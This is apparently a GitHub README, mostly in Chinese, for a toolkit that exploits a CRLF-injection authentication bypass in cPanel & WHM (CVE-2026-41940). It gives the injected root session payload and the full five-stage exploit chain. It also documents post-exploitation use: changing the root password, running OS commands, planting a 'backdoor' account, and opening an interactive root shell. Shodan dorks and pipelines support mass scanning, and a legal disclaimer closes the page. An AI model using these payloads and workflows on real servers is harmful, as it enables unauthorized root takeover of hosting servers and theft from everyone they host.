sardine-web/Automated-scanner-CVE-2026-41940

GitHub: sardine-web/Automated-scanner-CVE-2026-41940

一款针对 cPanel & WHM CVE-2026-41940 CRLF 注入认证绕过漏洞的自动化扫描器与后渗透利用工具包。

Stars: 1 | Forks: 0

# CPANEL CVE EXPLOIT

**简体中文** | **[فارسی (Persian)](README.fa.md)** ``` ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝ ██████╗██╗ ██╗███████╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║ ██║█████╗ ██║ ╚██╗ ██╔╝██╔══╝ ╚██████╗ ╚████╔╝ ███████╗ ╚═════╝ ╚═══╝ ╚══════╝ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ``` [![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=for-the-badge&logo=python&logoColor=white)](https://www.python.org/) [![CVE](https://img.shields.io/badge/CVE-2026--41940-critical?style=for-the-badge&logo=dependabot&logoColor=white)](https://nvd.nist.gov/) [![CVSS](https://img.shields.io/badge/CVSS-10.0-red?style=for-the-badge)](https://www.first.org/cvss/) [![License](https://img.shields.io/badge/License-MIT-green?style=for-the-badge)](LICENSE) [![Stdlib](https://img.shields.io/badge/Dependencies-stdlib%20only-orange?style=for-the-badge)](requirements.txt) **针对 CVE-2026-41940 的自动化扫描器与后渗透工具包 —— 通过会话文件 CRLF 注入实现 cPanel & WHM root 身份验证绕过。**

## 目录 - [概述](#overview) - [CVE 详情](#cve-details) - [工作原理](#how-it-works) - [功能](#features) - [受影响版本](#affected-versions) - [环境要求](#requirements) - [安装说明](#installation) - [快速入门](#quick-start) - [用法](#usage) - [后渗透操作](#post-exploit-actions) - [交互式 WHM Shell](#interactive-whm-shell) - [批量扫描与流水线集成](#mass-scanning--pipeline-integration) - [Shodan Dorks](#shodan-dorks) - [输出格式](#output-format) - [示例会话](#example-session) - [法律免责声明](#legal-disclaimer) ## 概述 **CPANEL CVE EXPLOIT** 是一个单文件 Python 工具,专为对存在 **CVE-2026-41940** 漏洞的 cPanel & WHM 服务器进行**授权安全评估**而设计。 该漏洞允许未经身份验证的远程攻击者通过在 `Authorization: Basic` 标头中注入 CRLF 来污染 WHM 会话文件,从而绕过身份验证并在无需有效凭据的情况下获取 **root 级别的 WHM 访问权限**。 | 属性 | 值 | |----------|-------| | **CVE** | CVE-2026-41940 | | **严重程度** | 严重 | | **CVSS** | 10.0 | | **攻击向量** | 网络 / 未经身份验证 | | **影响** | 完全的 WHM root 访问权限 | | **默认端口** | `2087` (WHM) | | **状态** | 已确认出现在野利用(2026 年 4 月) | ## CVE 详情 ### 根本原因 在受影响版本的 cPanel & WHM 中,`Session.pm` 中的 `saveSession()` 是在将会话文件写入磁盘**之后**才调用 `filter_sessiondata()` 的。攻击者可以通过 HTTP `Authorization: Basic` 标头注入 CRLF (`\r\n`) 字符,这些字符会被直接写入磁盘上的会话文件中,从而绕过过滤机制。 ### 注入的会话字段 该工具使用 Base64 编码的 payload,解码后的内容为: ``` root:x successful_internal_auth_with_timestamp=9999999999 user=root tfa_verified=1 hasroot=1 ``` 这些字段模拟了一个完全通过身份验证的 root WHM 会话,包括 2FA 绕过 (`tfa_verified=1`) 和 root 权限标志 (`hasroot=1`)。 ### 修复方案 cPanel 已将 `filter_sessiondata()` 的执行位置移到了 `Session.pm` 中写入会话操作**之前**。 ## 工作原理 该利用链由 **5 个阶段**组成(阶段 0–4): ``` flowchart TD A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session] B --> C[Stage 2: CRLF Injection via Authorization Header] C --> D[Stage 3: Session Propagation via do_token_denied] D --> E[Stage 4: Verify Root Access via json-api/version] E --> F{Vulnerable?} F -->|Yes| G[Post-Exploit Actions / Interactive Shell] F -->|No| H[Skip Target] A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"] B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"] C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"] D -.- D1["GET /scripts2/listaccts → flush raw session to cache"] E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"] ``` | 阶段 | Endpoint | 目的 | |-------|----------|---------| | **0** | `/openid_connect/cpanelid` | 通过 307 重定向自动发现规范主机名 | | **1** | `/login/?login_only=1` | 使用错误凭据获取 preauth `whostmgrsession` cookie | | **2** | `/` | 将注入了 CRLF 的 `Authorization: Basic` 标头写入会话文件 | | **3** | `/scripts2/listaccts` | 触发 `do_token_denied` gadget 将会话刷新到缓存 | | **4** | `/{token}/json-api/version` | 确认 root 访问权限 —— 返回 HTTP 200 及版本 JSON | ## 功能 | 功能 | 描述 | |---------|-------------| | **单目标扫描** | 针对单个 WHM URL 执行完整利用链 | | **批量扫描** | 从文件或 stdin 读取进行多线程扫描 | | **版本检测** | 自动进行已修复/受影响版本的对比 | | **后渗透 API** | 修改密码、执行命令、列出账户、创建用户 | | **交互式 shell** | 内置具备文件读取与 API 命令的 WHM root shell | | **Selenium 登录** | 自动将会话 cookie 注入 Chrome/Firefox | | **手动浏览器备选方案** | 提供用于手动登录 WHM 的控制台 JavaScript 代码片段 | | **RCE 检查** | 在绕过验证后快速执行 `id` / `uname -a` 进行确认 | | **JSON 导出** | 将所有扫描结果保存为结构化的 JSON 报告 | | **流水线就绪** | 兼容 `httpx`, `subfinder`, `shodan` 和 `awk` 流水线 | | **仅使用标准库** | 核心功能无需任何 pip 依赖 | | **彩色输出** | 带有严重性指示器的实时阶段日志 | ## 受影响版本 | 分支 | 修复版本 | 状态 | |--------|-----------|--------| | 11.110.x | `11.110.0.97` | 低于此补丁版本均受影响 | | 11.118.x | `11.118.0.63` | 低于此补丁版本均受影响 | | 11.126.x | `11.126.0.54` | 低于此补丁版本均受影响 | | 11.132.x | `11.132.0.29` | 低于此补丁版本均受影响 | | 11.134.x | `11.134.0.20` | 低于此补丁版本均受影响 | | 11.136.x | `11.136.0.5` | 低于此补丁版本均受影响 | ## 环境要求 ### 核心组件(必需) - **Python 3.8+** - 无需外部包 —— 仅使用 Python 标准库 ### 可选组件 | 包 | 用途 | |---------|---------| | `selenium` | 浏览器自动登录 (`--selenium`) | | Chrome / Firefox | Selenium 的浏览器引擎 | ``` pip install -r requirements.txt # optional — selenium only ``` ## 安装说明 ``` git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git cd cpanel-cve-exploit ``` 无需构建步骤。直接运行: ``` python3 test-cve.py --help ``` ## 快速入门 ``` # 扫描单个 WHM 目标 python3 test-cve.py -u https://target.com:2087 # 扫描并进行 post-exploit:列出所有 cPanel 账户 python3 test-cve.py -u https://target.com:2087 --action list # 从文件进行批量扫描,20个线程,保存 JSON 报告 python3 test-cve.py -l targets.txt -t 20 -o results.json ``` ## 用法 ``` usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME] [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT] [--action {list,passwd,cmd,exec,info,version,shell,adduser}] [--passwd PASSWD] [--cmd CMD] [--new-user NEW_USER] [--new-domain NEW_DOMAIN] [--read-file READ_FILE] [--selenium] [--engine {chrome,firefox}] [--browser] [--check-rce] [-o OUTPUT] [--no-color] ``` ### 目标选项 | 标志 | 描述 | |------|-------------| | `-u`, `--url` | 单个目标 URL (例如 `https://host:2087`) | | `-l`, `--list` | 包含 URL 的文件,每行一个 | | `--hostname` | 覆盖规范的 Host 标头(默认自动发现) | ### 扫描选项 | 标志 | 默认值 | 描述 | |------|---------|-------------| | `-t`, `--threads` | `10` | 并发扫描线程数 | | `--timeout` | `15` | HTTP 超时时间(秒) | | `--rate-limit` | `0` | 提交目标之间的延迟(秒) | ### 输出选项 | 标志 | 描述 | |------|-------------| | `-o`, `--output` | 将发现结果保存到 JSON 文件 | | `--no-color` | 禁用 ANSI 彩色输出 | ## 后渗透操作 | 操作 | 标志 | 描述 | |--------|------|-------------| | **仅扫描** | *(默认)* | 运行利用链并报告漏洞 | | **列出账户** | `--action list` | 通过 WHM API 列出所有 cPanel 账户 | | **修改密码** | `--action passwd --passwd ` | 修改 root WHM 密码 | | **执行命令** | `--action cmd --cmd "id;whoami"` | 通过 WHM exec API 运行 OS 命令 | | **服务器信息** | `--action info` | 收集主机名、负载、磁盘、版本信息 | | **获取版本** | `--action version` | 通过 API 获取 cPanel/WHM 版本 | | **创建账户** | `--action adduser --new-user u --new-domain d.com --passwd p` | 创建新的 cPanel 账户 | | **交互式 shell** | `--action shell` | 启动交互式 WHM root shell | | **RCE 检查** | `--check-rce` | 在成功绕过后运行 `id;uname -a` | | **Selenium 登录** | `--selenium [--engine chrome\|firefox]` | 在浏览器中自动登录到 WHM 面板 | | **手动浏览器** | `--browser` | 输出用于手动登录的 JavaScript 控制台命令 | ### 示例 ``` # bypass 后更改 root 密码 python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!' # 执行远程命令 python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a" # 创建后门 cPanel 账户 python3 test-cve.py -u https://target.com:2087 \ --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!' # 打开交互式 WHM shell python3 test-cve.py -u https://target.com:2087 --action shell # 通过 Chrome 自动登录 python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome # 手动浏览器登录(为 DevTools 控制台打印 JS) python3 test-cve.py -u https://target.com:2087 --browser ``` ## 交互式 WHM Shell 使用 `--action shell` 启动完整的交互式会话: ``` root@target.com ▶ help id / whoami / hostname / version → server info ls [path] → file listing cat [path] → read file contents accounts → list cPanel accounts addadmin → create WHM admin/reseller passwd → change root password exec → run OS command exit / quit → exit shell ``` **示例:** ``` root@192.168.1.100 ▶ id uid=0(root) gid=0(root) groups=0(root) root@192.168.1.100 ▶ accounts user=webuser1 domain=example.com email=admin@example.com user=webuser2 domain=test.com email=info@test.com root@192.168.1.100 ▶ cat /etc/passwd root@192.168.1.100 ▶ exit ``` ## 批量扫描与流水线集成 ### 从文件读取 ``` python3 test-cve.py -l targets.txt -t 20 -o results.json ``` ### 从 stdin 读取(管道) ``` cat urls.txt | python3 test-cve.py # subfinder + httpx pipeline subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30 # Shodan pipeline shodan search --fields ip_str,port 'title:"WHM Login"' | \ awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json ``` ### 支持的输入格式 | 格式 | 示例 | |--------|---------| | 完整 URL | `https://192.168.1.1:2087` | | IP + 端口 | `192.168.1.1 2087` | | Shodan 输出 | 通过正则表达式自动解析 | | ANSI 彩色输出 | 自动剔除颜色代码 | ## Shodan Dorks ``` title:"WHM Login" title:"WebHost Manager" port:2087 product:"cPanel" port:2087 http.title:"WHM" ssl:"cpanel" port:2087 ``` ## 输出格式 使用 `-o results.json` 时,结果将保存为 JSON 格式: ``` { "scanner": "cPanelSniper v2.0", "cve": "CVE-2026-41940", "timestamp": "2026-05-23T12:00:00.000000", "findings": [ { "severity": "CRIT", "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass", "target": "https://target.com:2087", "canonical": "server.target.com", "session": "root:SessionName", "token": "/cpsess1234567890", "version": "11.126.0.50", "api_url": "https://target.com:2087/cpsess1234567890/json-api/version", "evidence": "{\"version\":\"11.126.0.50\"...}", "cve": "CVE-2026-41940", "cvss": "10.0", "timestamp": "2026-05-23T12:00:05.000000" } ] } ``` ### 控制台摘要 ``` ══════════════════════════════════════════════════════════════════════ cPanelSniper — CVE-2026-41940 Scan Complete Time: 12.4s · Targets: 50 ────────────────────────────────────────────────────────────────────── ⚡ 2 VULNERABLE TARGET(S) Target : https://victim1.com:2087 Version : 11.126.0.50 Token : /cpsess1234567890 API URL : https://victim1.com:2087/cpsess1234567890/json-api/version Evidence : {"version":"11.126.0.50"...} ══════════════════════════════════════════════════════════════════════ ``` ## 示例会话 ``` $ python3 test-cve.py -u https://target.com:2087 Configuration: Targets : 1 Threads : 10 Timeout : 15s Action : scan only 12:00:01 [INFO] Canonical hostname discovered: server.target.com 12:00:02 [ OK] Stage1: preauth session = root:abc123... 12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890 12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired 12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...} 12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable) 12:00:05 [PWND] Token : /cpsess1234567890 12:00:05 [PWND] Session : root:abc123... 12:00:05 [PWND] Version : 11.126.0.50 12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version ``` ## 项目结构 ``` cpanel-cve-exploit/ ├── test-cve.py # Main scanner & exploit tool (single file) ├── requirements.txt # Optional: selenium ├── README.md # English documentation └── README.fa.md # Persian documentation (فارسی) ``` ## 法律免责声明 本工具仅供**教育与授权渗透测试目的**使用。 - 仅针对您**拥有**或获得**明确书面授权**进行测试的系统使用。 - 未经授权访问计算机系统是**违法**行为,这包括违反了美国的 CFAA、英国的《计算机滥用法》以及全球范围内的同等法律。 - 目前已确认出现了 CVE-2026-41940 的在野利用 —— 请立即修补受影响的系统。 - 作者和贡献者**对滥用本软件的行为不承担任何责任**。 使用本工具即表示您同意以负责任的方式使用它,并遵守所有适用法律。 ## 参考 - [CVE-2026-41940](https://nvd.nist.gov/) — NVD 条目 - cPanel 安全公告 — Session.pm CRLF 注入补丁 - WHM 默认端口:`2087` (HTTPS)

专为安全研究人员打造 · 请负责任地使用

标签:CISA项目, cPanel, Web报告查看器, 认证绕过, 逆向工具